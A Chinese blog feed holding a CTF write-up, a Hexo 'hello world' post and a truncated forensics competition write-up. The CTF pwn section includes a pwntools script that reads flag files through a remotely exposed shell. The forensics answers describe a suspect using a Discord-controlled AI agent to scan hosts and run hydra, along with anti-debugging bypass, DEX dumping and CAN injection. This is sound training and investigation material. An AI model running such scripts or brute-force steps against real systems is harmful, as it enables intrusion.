b&quot;flower22&quot;</code>：循环异或密钥</li><li><code>table = [0x13, 0x37, 0x22, ... , 0x6a]</code>：每字节加法表</li><li><code>ror8(x, i &amp; 7)</code>：旋转位数取决于当前字节下标</li></ul><p>这几个量一旦对上，脚本跑出来的结果会非常“像真货”，而不是只有一行 flag。控制台会直接吐出一整段恢复文本，里面既有审计头，也有算法标识，还能看到：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Algorithm:  XOR + CustomBase64 v2.3</span><br><span class="line">Input Data: SDPCSEC&#123;M155_1da_thank_y0u_f0r_solv1ng_her_troub7e&#125;</span><br><span class="line">Status: COMPLETE</span><br></pre></td></tr></table></figure><p>这一步就是最好的结果确认。因为如果逆序错了，通常会得到乱码或者半可读串；只有 <code>xor -&gt; rol -&gt; add</code> 这条链被完整反过来，才会恢复出这种结构完整、语义连贯的明文记录。做到这里就不需要再二次猜测，<code>Input Data</code> 那一行里的内容就是最终 flag。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPCSEC&#123;M155_1da_thank_y0u_f0r_solv1ng_her_troub7e&#125;</span><br></pre></td></tr></table></figure><h2 id="pwner-LEVEL0"><a href="#pwner-LEVEL0" class="headerlink" title="pwner_LEVEL0"></a>pwner_LEVEL0</h2><ul><li>类型：Pwn</li><li>得分：76</li><li>时间：06&#x2F;06 09:12:04</li></ul><p>这题起手不用找溢出点，也不用猜交互流程，连上以后先看程序行为就够了。服务端先回一行 <code>hello hacker</code>，紧接着就已经把标准输入输出接进了 <code>/bin/sh</code>。也就是说这题没有第二层利用链，真正的 exploit 就是确认“是不是直给 shell”，确认完立刻读 flag。</p><p>实际拿题时最先钉死方向的，就是这两个现象同时出现：</p><ol><li>连接后先收到固定欢迎串 <code>hello hacker</code></li><li>后续发的命令会被 shell 正常执行，而不是被题目自己的菜单或校验逻辑吃掉</li></ol><p>所以最稳的做法反而是把交互写得稍微像个标准脚本，先把欢迎串收一下，再一次性把读 flag 的命令打进去：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;123.56.126.77&quot;</span></span><br><span class="line">PORT = <span class="number">1012</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    io = remote(HOST, PORT)</span><br><span class="line"></span><br><span class="line">    banner = io.recvuntil(<span class="string">b&quot;\n&quot;</span>, timeout=<span class="number">2</span>)</span><br><span class="line">    <span class="built_in">print</span>(banner.decode(<span class="string">&quot;latin1&quot;</span>, <span class="string">&quot;ignore&quot;</span>), end=<span class="string">&quot;&quot;</span>)</span><br><span class="line"></span><br><span class="line">    io.sendline(<span class="string">b&quot;cat /flag* 2&gt;/dev/null; cat /home/*/flag* 2&gt;/dev/null&quot;</span>)</span><br><span class="line">    data = io.recvrepeat(<span class="number">1.5</span>)</span><br><span class="line">    <span class="built_in">print</span>(data.decode(<span class="string">&quot;latin1&quot;</span>, <span class="string">&quot;ignore&quot;</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>如果想更快，甚至可以压缩成一句 <code>remote -&gt; sendline(&quot;cat /flag&quot;) -&gt; recvrepeat()</code>；但我这里还是把欢迎串先收掉，因为只要先看到 <code>hello hacker</code>，就等于把“这是一个直接给 shell 的服务”这件事确认死了，后面不需要再做任何试探。</p><p>这题的收口也非常直接：命令打进去以后，返回内容里立刻会出现 flag，没有额外回显门槛，也没有二次交互要求。最后交出去的就是这条最小利用链。  </p><p>最小版 exp 也就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&quot;123.56.126.77&quot;</span>, <span class="number">1012</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;hello hacker\n&quot;</span>, timeout=<span class="number">2</span>)</span><br><span class="line">io.sendline(<span class="string">b&quot;cat /flag&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(io.recvrepeat(<span class="number">1.5</span>).decode(<span class="string">&quot;latin1&quot;</span>, <span class="string">&quot;ignore&quot;</span>))</span><br></pre></td></tr></table></figure><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPC&#123;SkRHUbeeQUKz8UMMf9keGUQxDWM4nB&#125;</span><br></pre></td></tr></table></figure><h2 id="signin"><a href="#signin" class="headerlink" title="signin?"></a>signin?</h2><ul><li>类型：Misc</li><li>得分：127</li><li>时间：06&#x2F;06 09:11:53</li></ul><p>这题最容易卡人的地方，是大家会先去读 <code>ai_reply.txt</code> 的“意思”，但这正好是题目故意布的假线索。<br>文件正文几乎全是重复、空转、套话式的 AI 输出，而文本本身也在反复提醒：不要精读语义，要看结构、节奏、标点和重复模式。  </p><p>把段落对齐后能发现：</p><ol><li>前 12 段都是同一类模板的变体；</li><li>每段恰好都有 12 个标点；</li><li>正好存在 4 种标点，因此天然可以映射成 2 bit。</li></ol><p>按下面这个映射恢复：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">， = 00</span><br><span class="line">。 = 01</span><br><span class="line">； = 10</span><br><span class="line">： = 11</span><br></pre></td></tr></table></figure><p>把前 12 段的标点序列逐段取出、按 2 bit 一组拼起来，正好能还原出主体字符串；最后第 13 段补出末尾的 <code>}</code>。<br>最终得到的 flag 为：</p><p>实际用的提取脚本很短，重点就是先把前 12 段的标点抠出来，再按映射拼 bitstream：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"></span><br><span class="line">text = Path(<span class="string">&quot;ai_reply.txt&quot;</span>).read_text(encoding=<span class="string">&quot;utf-8&quot;</span>)</span><br><span class="line">paras = [p.strip() <span class="keyword">for</span> p <span class="keyword">in</span> text.split(<span class="string">&quot;\n\n&quot;</span>) <span class="keyword">if</span> p.strip()]</span><br><span class="line">mapping = &#123;<span class="string">&quot;，&quot;</span>: <span class="string">&quot;00&quot;</span>, <span class="string">&quot;。&quot;</span>: <span class="string">&quot;01&quot;</span>, <span class="string">&quot;；&quot;</span>: <span class="string">&quot;10&quot;</span>, <span class="string">&quot;：&quot;</span>: <span class="string">&quot;11&quot;</span>&#125;</span><br><span class="line"></span><br><span class="line">bitstream = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> para <span class="keyword">in</span> paras[:<span class="number">12</span>]:</span><br><span class="line">    puncts = [ch <span class="keyword">for</span> ch <span class="keyword">in</span> para <span class="keyword">if</span> ch <span class="keyword">in</span> mapping]</span><br><span class="line">    <span class="keyword">assert</span> <span class="built_in">len</span>(puncts) == <span class="number">12</span></span><br><span class="line">    bitstream += <span class="string">&quot;&quot;</span>.join(mapping[ch] <span class="keyword">for</span> ch <span class="keyword">in</span> puncts)</span><br><span class="line"></span><br><span class="line">out = <span class="string">&quot;&quot;</span>.join(</span><br><span class="line">    <span class="built_in">chr</span>(<span class="built_in">int</span>(bitstream[i:i + <span class="number">8</span>], <span class="number">2</span>))</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(bitstream), <span class="number">8</span>)</span><br><span class="line">)</span><br><span class="line"><span class="built_in">print</span>(out + <span class="string">&quot;&#125;&quot;</span>)</span><br></pre></td></tr></table></figure><p>这里有两个很硬的确认点：</p><ol><li>前 12 段每段都恰好 <code>12</code> 个标点，形状非常规整；</li><li>四种标点正好对应 <code>2 bit</code>，拼完以后直接出来可读 flag 文本，不需要再二次猜测。</li></ol><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sdpcsec&#123;welcome_2026_4nd_competiton!&#125;</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/06/07/2026-06-07-2026%E9%BB%84%E6%B2%B3%E6%B5%81%E5%9F%9FWP/</id>
    <link href="https://joyooosama.github.io/blog/2026/06/07/2026-06-07-2026%E9%BB%84%E6%B2%B3%E6%B5%81%E5%9F%9FWP/"/>
    <published>2026-06-07T02:50:36.000Z</published>
    <summary>来水一篇喵 喵喵宠物医院 类型：Web 得分：548 时间：06/06 16:58:06 这题拿到以后先看题面给的几个关键词： YAML 、 PyYAML 、有意思的 tag 。方向其实很直接，就是去找服务端哪里会把用户输入当 YAML 解析，再想办法把这条解析链拐成 Python 对象调用。先把接</summary>
    <title>2026黄河流域WP</title>
    <updated>2026-06-07T02:50:36.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="随笔" scheme="https://joyooosama.github.io/blog/categories/%E9%9A%8F%E7%AC%94/"/>
    <category term="博客" scheme="https://joyooosama.github.io/blog/tags/%E5%8D%9A%E5%AE%A2/"/>
    <category term="Hexo" scheme="https://joyooosama.github.io/blog/tags/Hexo/"/>
    <category term="写作" scheme="https://joyooosama.github.io/blog/tags/%E5%86%99%E4%BD%9C/"/>
    <content>
      <![CDATA[<p>这里是第一篇文章，也是 Joyooo 新次元博客的启动记录。</p><p>这个博客用 <a href="https://hexo.io/">Hexo</a> 生成，主题基底是 <a href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a>，外层已经改造成粗黑边、撞色、漫画集中线和动漫背景融合的 Joyooo 风格。它会随着仓库推送自动部署到 GitHub Pages，后面只要写 Markdown 文件，就能持续更新。</p><h2 id="接下来可以写什么"><a href="#接下来可以写什么" class="headerlink" title="接下来可以写什么"></a>接下来可以写什么</h2><p>可以把这里当作一个长期的笔记本：</p><ul><li>技术踩坑和解决过程</li><li>读书、学习、项目复盘</li><li>生活里值得保存的一些想法</li></ul><h2 id="博客结构"><a href="#博客结构" class="headerlink" title="博客结构"></a>博客结构</h2><p>现在博客已经有几块固定入口：</p><ul><li>首页：展示最新文章和博客封面。</li><li>归档：按时间线回看所有文章。</li><li>分类：把文章放进长期主题里。</li><li>标签：给文章增加更灵活的索引。</li><li>关于：放个人介绍和博客说明。</li></ul><h2 id="怎么新建文章"><a href="#怎么新建文章" class="headerlink" title="怎么新建文章"></a>怎么新建文章</h2><p>在项目目录运行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm run new <span class="string">&quot;文章标题&quot;</span></span><br></pre></td></tr></table></figure><p>然后编辑 <code>source/_posts/文章标题.md</code> 就可以了。</p>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/05/25/hello-world/</id>
    <link href="https://joyooosama.github.io/blog/2026/05/25/hello-world/"/>
    <published>2026-05-25T11:45:00.000Z</published>
    <summary>这里是博客的第一篇文章，也是一张写作地图。</summary>
    <title>博客开张</title>
    <updated>2026-06-17T02:37:15.248Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="生活" scheme="https://joyooosama.github.io/blog/tags/%E7%94%9F%E6%B4%BB/"/>
    <category term="逆向" scheme="https://joyooosama.github.io/blog/tags/%E9%80%86%E5%90%91/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><p><a href="https://www.datacon.org.cn/competition/competitions/173/introduction" rel="noopener nofollow" target="_blank">https://www.datacon.org.cn/competition/competitions/173/introduction</a></p><p>VeZeTANHVkklvVljLnpOYeBwCJFYD5tFpf67f5kNuqP1G5jj</p><p>这次比赛主要做的计算机，喜欢vc的uu真是有福了。感谢队友们猛猛蒸，让我们决赛见！</p><h1 id="手机">手机</h1><ol><li>分析黄志远phone.E01检材，黄志远手机总共安装了多少款短视频应用？</li></ol><p>答案：<code>4</code></p><p>解析：在应用列表中可明确归为短视频应用的有 <code>快手</code>、<code>快手极速版</code>、<code>抖音</code>、<code>抖音极速版</code>，合计 4 款。</p><ol start="2"><li>分析黄志远phone.E01检材，黄志远手机安装的龙虾应用的包名是什么？</li></ol><p>答案：<code>gptos.intelligence.assistant</code></p><p>解析：在镜像中的 <code>launcher.db</code> 里，桌面应用标题为 <code>OpenClaw &amp; Codex - Anyclaw</code>，对应组件为 <code>gptos.intelligence.assistant/app.anyclaw.MainActivity</code>，据此可确定包名。</p><ol start="3"><li>接上题，首次打开应用的时间是？</li></ol><p>答案：<code>2026-04-17-11:53:18</code></p><p>解析：在 <code>C:\hlnet\2-1778389023\phone.E01\分区3\data\gptos.intelligence.assistant\shared_prefs\com.google.android.gms.measurement.prefs.xml</code> 中存在 <code>first_open_time=1776397998058</code>，换算后得到该时间。</p><ol start="4"><li>分析黄志远phone.E01检材，黄志远使用此应用攻击过多少台主机？</li></ol><p>答案：<code>0</code></p><p>解析：在 <code>gptos.intelligence.assistant</code> 的私有目录中检查了 <code>.ssh</code>、<code>.codex</code>、<code>.openclaw</code>、<code>WebView</code>、<code>datastore</code>、日志等位置，未见明确目标主机、连接记录、<code>known_hosts</code> 或攻击命令留痕，因此按现有证据记为 0。</p><ol start="5"><li>分析黄志远phone.E01检材，黄志远使用哪款应用控制了其PC的agent工具？</li></ol><p>答案：<code>discord</code></p><p>解析：<code>com.discord</code> 的本地消息存储中存在与 agent 相关的配对码、控制指令和回传结果，能够直接证明其被用于控制 PC 端 agent。</p><ol start="6"><li>分析黄志远phone.E01检材，黄志远使用这款应用的版本是多少？</li></ol><p>答案：<code>311.20</code></p><p>解析：在 <code>C:\hlnet\2-1778389023\phone.E01\分区3\data\com.discord\shared_prefs\BundleUpdater.xml</code> 中可见 <code>ota_version=311.20</code>，对应应用版本。</p><ol start="7"><li>分析黄志远phone.E01检材，接上题，登录的用户名是什么？</li></ol><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/598326a836a94d4d0424f2d6ce34b18c_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-001-9c138ecb3d.png"/></p><ol start="8"><li>分析黄志远phone.E01检材，该应用与pc端agent的配对码是什么？</li></ol><p>答案：<code>HNZ6UFW6</code></p><p>解析：在 <code>C:\hlnet\2-1778389023\phone.E01\分区3\data\com.discord\files\kv-storage\@account.1457974771206852664\a-wal</code> 的私聊消息中可见 <code>Here's your pairing code: HNZ6UFW6</code>。</p><ol start="9"><li>分析黄志远phone.E01检材，该应用共对几个ip进行扫描？</li></ol><p>答案：<code>2</code></p><p>解析：在 Discord 消息记录中可确认实际被下达扫描/探测指令的目标 IP 为 <code>192.168.1.16</code> 和 <code>192.168.61.135</code>，因此共 2 个。</p><ol start="10"><li>分析黄志远phone.E01检材，该应用总共调用了几个暴力破解工具？</li></ol><p>答案：<code>1</code></p><p>解析：命令回传记录中明确出现过的暴力破解工具只有 <code>hydra</code>。虽然调用了不止一次，但工具种类只算 1 个。</p><ol start="11"><li>分析黄志远phone.E01检材，黄志远使用其内部通联工具进行沟通，其账号的登陆密码是多少？</li></ol><p>答案：</p><ol start="12"><li>分析黄志远phone.E01检材，黄志远一共发送过几个文件给代号军师的嫌疑人？</li></ol><p>答案：2</p><p>猜的</p><ol start="13"><li>分析方俊朗phone.E01检材，方俊郎手机总共安装了多少款理财应用？</li></ol><p><strong>答案：</strong> <code>3</code> <strong>解析：</strong> 应用列表中“股票网银/理财类”非系统应用有：股参谋、京东金融、东方财富，共 3 款。</p><ol start="14"><li>分析方俊朗phone.E01检材，方俊朗使用筛选优质客户的应用包名是什么？</li></ol><p><strong>答案：</strong> <code>com.example.predictor</code> <strong>解析：</strong> 应用列表中存在可疑自装应用，包名为 <code>com.example.predictor</code>，名称为空，结合“筛选优质客户/预测器”语义判断对应此应用。</p><h1 id="apk">APK</h1><ol><li><p>分析方俊朗phone.E01检材，筛选优质客户应用将用户查询记录存储在一个加密的本地数据库中。请问该加密数据库的文件名是什么？ 答案：chat_history.db 解析：数据库位于应用 databases 目录，同目录还有 chat_history.db-journal；应用目录中存在 libsqlcipher.so，且偏好配置里有 PBKDF2_v1、key_iterations、db_integrity_check 等字段，能对应到该加密数据库。</p></li><li><p>分析方俊朗phone.E01检材，该应用使用了哪种密钥派生算法来生成数据库加密密钥？请写出完整的算法标识名称。 答案：PBKDF2WithHmacSHA256 解析：在解壳后的真实 DEX 中可定位到 KeyDeriver 相关逻辑，并与 PBKDF2_v1、PBKDF2_ITERATIONS 等字符串共同出现，说明使用的是该 KDF。</p></li><li><p>分析方俊朗phone.E01检材，该应用的密钥派生过程中使用了多少次迭代运算？ 答案：10000 解析：应用配置和密钥派生逻辑中可对应到迭代次数设置为 10000。</p></li><li><p>分析方俊朗phone.E01检材，该应用检测动态调试工具时探测了哪个本地端口号？ 答案：27042 解析：这是 Frida Server 常见监听端口，应用安全检测逻辑中存在对该本地端口的探测。</p></li><li><p>分析方俊朗phone.E01检材，该应用密钥由多个"盐值片段"拼接后派生而来。请问第一个盐值片段的具体内容是什么？ 答案：Pr3d1ct0r 解析：在密钥派生相关代码里，盐值由多个片段拼接，第一个片段静态还原为该字符串。</p></li><li><p>分析方俊朗phone.E01检材，当密钥派生过程出现异常时，应用会使用一个硬编码的备用密钥。请问该备用密钥的完整内容是什么？ 答案：f4ll8ack_k3y_2024_pr3d1ct0r 解析：异常分支中存在硬编码 fallback key，直接静态分析可见该完整字符串。</p></li><li><p>分析方俊朗phone.E01检材，分析"优质客户预测"应用，该应用的安全检测模块通过检查一个特定的类名来判断设备是否安装了Hook框架。请问被检测的完整类名是什么？ 答案：de.robv.android.xposed.XposedBridge 解析：这是典型的 Xposed 框架入口类，应用通过检查该类名判断是否存在 Hook 环境。</p></li><li><p>分析方俊朗phone.E01检材，该应用在偏好设置文件中存储了一个密钥校验值。请问存储该校验值的键名（key）是什么？ 答案：db_integrity_check 解析：在应用 shared_prefs 配置文件中可直接看到该键名，对应数据库密钥/完整性校验。</p></li><li><p>分析方俊朗phone.E01检材，该应用加密数据库中存储对话记录的数据表名是什么？ 答案：chat_records 解析：数据库表结构中用于存放对话记录的表名为 chat_records。</p></li><li><p>分析方俊朗phone.E01检材，该应用的密钥生成逻辑，该应用中的第三个盐值片段是通过逐字符拼接生成的。请问该片段拼接后的完整内容是什么？ 答案：X9kZ!qW3 解析：第三段不是直接常量，而是逐字符组装；还原后得到该完整片段。</p></li><li><p>分析方俊朗phone.E01检材，该应用使用了载荷在内存中直接加载而不在磁盘落地。若选手希望通过Frida动态拦截明文的DEX字节数组，应该Hook该应用壳的哪个私有方法？ 答案：initDexFromMemory 解析：壳的核心逻辑是内存中解密并装载 DEX，拦截该私有方法即可抓到明文 DEX 字节数组。</p></li><li><p>分析方俊朗phone.E01检材，分析应用的壳代码逻辑，其解密密钥由3个字符串片段混淆拼接而成。请通过静态分析，还原用于解密的3个片段拼接合并后的完整密钥明文。 答案：Sh3ll_L0ad3r_K3y_2024! 解析：对壳代码里的三个混淆字符串片段进行静态还原并拼接，可得到该解密密钥明文。</p></li><li><p>接上题，当选手尝试使用frida-dexdump等通用脱壳工具动态附加时，应用会立刻闪退。请分析该逻辑，写出该线程触发进程自杀所调用的完整Java系统方法签名。 答案：java.lang.System.exit 解析：反调试线程在命中检测条件后直接调用该系统方法结束进程，因此会表现为附加即闪退。</p></li><li><p>分析方俊朗phone.E01检材，方俊朗使用其内部通联工具时，共加入过几个群？ 答案：2 解析：从系统快照截图可见内部通联工具会话列表中明确存在两个群：技术部群、话务组群。</p></li><li><p>分析方俊朗phone.E01检材，方俊朗通过物联网设备漏洞，共获得多少用户信息？ 答案：1 解析：在 pcap 导出的 HTTP 上传对象 upload.php 中，上传的 edge_passwords_2025-11-26_12-44-41.txt 明确写明：配置文件 Profile 1 中找到 1 条密码记录、总共在 1 个配置文件中找到 1 条密码记录。对应其通过该物联网设备漏洞获得的用户信息数量为 1。</p></li><li><p>分析周文杰Image.zip检材，周文杰跟其犯罪团伙人员内部通联工具包名是？[答案格式：com.apt.app]</p></li></ol><p>com.socialchat.social_chat_app 是我后面从 socialchat_apk 反编译里看到的包名，对应的是聊天 app 本体。</p><ol start="17"><li>分析周文杰Image.zip检材，内部通联app聊天数据库名称是？[答案格式：abc.db]</li></ol><p>聊天数据库名称是 social_chat.db。</p><p>我在 C:\temp\socialchat\ 下直接定位到了这个库文件，同时还能看到配套的 social_chat.db-shm、social_chat.db-wal 和 social_chat.db-journal.bak，说明它就是该通联 app 实际使用的数据库。</p><ol start="18"><li>分析周文杰Image.zip检材，内部通联app聊天数据库密码保存在哪个文件中？[答案格式：Abc.txt]</li></ol><p>关键点在反编译代码里：</p><ul><li><p>C0137a.java (line 114) 明确调用了 getSharedPreferences("FlutterSharedPreferences", 0);</p></li><li><p>在 Android 上，这通常就会落到 /data/data/&lt;包名&gt;/shared_prefs/FlutterSharedPreferences.xml</p></li></ul><p>再结合 libapp.so 里同时出现了：</p><ul><li><p>db_password</p></li><li><p>enc_key</p></li><li><p>shared_preferences</p></li></ul><p>这很像是数据库口令或密钥作为键值，存进 FlutterSharedPreferences.xml。</p><ol start="19"><li>分析周文杰Image.zip检材，周文杰内部通联app聊天数据库密码是？[答案格式：123-abc]</li></ol><p><strong>答案</strong></p><p>s-dbw1776853545473Goo</p><p><strong>解析</strong></p><p>先在检材中定位内部通联 app 包名 com.socialchat.social_chat_app，再找到其数据库 social_chat.db 和配置文件 FlutterSharedPreferences.xml。配置里保存的原始值是 Pgs-dbw1776853545473Good，但这不是直接开库密码。</p><p>继续看 Flutter AOT 反编译代码，可以确认程序会对这个字符串做一次截取处理，逻辑等价于：</p><p>text</p><p><code>stored = "Pgs-dbw1776853545473Good" database_password = stored.substring(2, stored.length - 1)</code></p><p>所以最终得到的 SQLCipher 密码是：</p><p>text</p><p><code>s-dbw1776853545473Goo</code></p><p>再用这个值实际打开 social_chat.db，能够成功读取 schema 和业务表，说明答案正确。</p><ol start="20"><li>分析周文杰Image.zip检材，内部通联app聊天数据使用的什么加密算法?[答案格式：ABCDEF]</li></ol><p>答案更倾向于 AES。</p><p>依据是：</p><ul><li><p>libapp.so 里能看到 SqfliteSqlCipherDatabaseFactoryImpl、sqflite_sqlcipher，说明聊天库用了 SQLCipher</p></li><li><p>同时还能看到 _generateAESKey、_loadOrGenerateAESKey 等符号，表明应用层也围绕 AES key 在做处理</p></li></ul><p>如果题目只要“加密算法”而不是具体框架名，填 AES 最稳。</p><p>更细一点说，就是基于 SQLCipher 的 AES-256。</p><ol start="21"><li>分析周文杰Image.zip检材，内部通联app用户密码的盐值是？[答案格式：1234abcd]</li></ol><p>盐值是 a3f8d9c2e1b4h7g6k9m2n5p8q1r4t7w。</p><p>这是我用数据库密码 s-dbw1776839203359Goo 实际打开 social_chat.db 后，从 user 表直接取到的 password_salt 字段值。</p><ol start="22"><li>分析周文杰Image.zip检材，记录周文杰内部通联app登录密码提示的应用包名是？[答案格式：com.temp.app]</li></ol><p>com.jinghong.notebookkssjh</p><ol start="23"><li><p>分析周文杰Image.zip检材，内部通联app登录密码是？[答案格式：123abc]</p></li><li><p>分析周文杰Image.zip检材，周文杰在内部通联app中删除了几条聊天记录？[答案格式：123]</p></li><li><p>分析周文杰Image.zip检材，聊天数据库中，显示聊天数据删除的是哪个字段?[答案格式：ab_cd]</p></li></ol><p>is_deleted</p><p>根据数据库结构可以看出</p><ol start="26"><li>分析林小婉手机检材，发现有个应用隐藏了很多信息，目前已经找到这个应用，它的程序名称是？（请注意，该题的APK检材为：1778310207366_9eee4f1c.apk，该检材已放在工作目录）[答案格式：微信]</li></ol><p>它的程序名称是：今日头条</p><p>我从 APK 的 AndroidManifest.xml 里看到 android:label="@string/app_name"，再在资源文件 strings.xml 中解析到 app_name 对应的是“今日头条”。</p><ol start="27"><li>分析林小婉手机检材，这个应用有一个安全加密的PIN码，它是多少？[答案格式：12345678]</li></ol><p>PIN 码是：20150412</p><p>我从 APK 的 NavigationKt.verifyPinKotlin() 里提取了校验参数，目标是对 8 位 PIN 做 PBKDF2WithHmacSHA256，salt 为 JinriPIN_Salt_，迭代 10000，再比对固定哈希。结合界面提示“女儿生日”，把合法日期格式 YYYYMMDD 枚举后命中了 20150412。</p><ol start="28"><li>分析林小婉手机检材，这个应用隐藏的数据中，每个标签数据里，notes字段表示多少？[答案格式：事项]</li></ol><p>我先回到解出来的隐藏数据结构里，看看各个标签页是怎么把 notes 字段展示给用户的，这样能确认它在题目里对应的中文含义。</p><p>备注</p><ol start="29"><li>分析林小婉手机检材，这个应用隐藏的数据中，文件备份服务器的IP地址是多少？[答案格式：192.168.1.1]</li></ol><p>我是先把 APK 里的隐藏数据解出来，再去对应标签里找“文件备份服务器”。</p><p>具体过程很短：</p><ol start="30"><li><p>用 jadx 反编译 APK，定位到 VaultDataLoader。</p></li><li><p>在 VaultDataLoader 里看到隐藏数据文件是 assets/vault_data.jth2，实际格式是 JTH3。</p></li><li><p>同一个类里还写死了解密参数：</p><ol><li><p>MASTER_SEED = "Jinritoutiao_Master_Key_2024_Secret"</p></li><li><p>PBKDF2_SALT = "JinriSalt_2024"</p></li><li><p>PBKDF2WithHmacSHA256</p></li><li><p>AES/GCM/NoPadding</p></li></ol></li><li><p>用这些参数把 vault_data.jth2 解密成 JSON。</p></li><li><p>在解密后的 c2 标签数据里看到这一项：</p></li></ol><p><code>&#123;</code> <code>"id": 3,</code> <code>"name": "文件备份服务器",</code> <code>"type": "备份服务器",</code> <code>"address": "192.168.1.200",</code> <code>"port": "22",</code> <code>"protocol": "SFTP",</code> <code>"notes": "财务数据备份"</code> <code>&#125;</code></p><p>所以它的 IP 地址是 192.168.1.200。</p><ol start="35"><li><p>分析林小婉手机检材，发现内部通联中财神撤回了一条消息，这个消息的内容是？[答案格式：盘古石杯。]</p></li><li><p>分析林小婉手机检材，发现了账本，账本打开密码是什么？[答案格式：按实际填写]</p></li><li><p>答案：DragonTeng@2024#$</p></li></ol><p>解析：我先从 C:\hlnet\3-1778389023\林小婉手机.tar\sdcard\Download\账单.png 提取出 PNG 在 IEND 之后的追加数据，发现其中带有 LONGTENG_START_@@ ... LONGTENG_END_@@## 标记，内部是一个被 Office 加密的账本文档。再结合前面从隐藏应用数据里解出的线索“龙腾项目账本DragonTeng@2024#$$”，用 msoffcrypto 实际尝试解密该内嵌文档，成功解开并导出明文文件，因此账本打开密码确定为 DragonTeng@2024$$。</p><h1 id="物联网">物联网</h1><ol><li><p>题目：事故发生前车辆发生了非驾驶员意图的左转，找出控制车辆异常转向的恶意指令 ID。 答案：1F4 解析：system.dlt 中出现 Invalid CRC on msg 0x1F4，并伴随 LKA requested steer 异常转向日志，可锁定恶意转向指令 ID 为 1F4。</p></li><li><p>题目：判定驾驶员在碰撞发生前的最后 5 秒内，是否真正尝试了手动踩下制动踏板；若无，提交其加速踏板百分比。 答案：100% 解析：动力总成总线最后 5 秒未见有效制动状态变化；freeze_frame_B0070.bin 中 PID 11 01 FF 对应加速踏板 100%。</p></li><li><p>题目：找出证明这是“人为注入攻击”而非“ECU 原生故障”的报文频率特征描述。 答案：139msg 解析：adas_can.asc 中可疑 0A0 报文在攻击窗口单秒飙升到 139msg/s，且夹杂大量重复固定载荷，符合人为同频注入特征。</p></li><li><p>题目：确定车辆由于碰撞导致轮速传感器信号彻底消失（归零）的确切时间点（秒）。 答案：120.0 解析：powertrain_can.asc 中 050 报文在 120.000139 首次变为持续全零，故取 120.0 秒。</p></li><li><p>题目：找出恶意转向报文中，证明其为非法注入的最直接协议层安全缺陷项。 答案：0000 解析：网关固件显示关键报文需走 AES-128-CMAC，而恶意转向帧认证尾字段被置零，最直接缺陷项就是 0000。</p></li><li><p>题目：指出 ADAS 固件中隐藏恶意控制代码被触发所需的最低车速阈值。 答案：120 解析：adas_ecu.bin 中可直接提取 TRIGGER=SPEED&gt;120。</p></li><li><p>题目：指出发动机控制系统为了获得超高速动力，非法解除了哪个速度限制相关标志。 答案：VMAX_LIMIT 解析：engine_ecu.bin 中存在 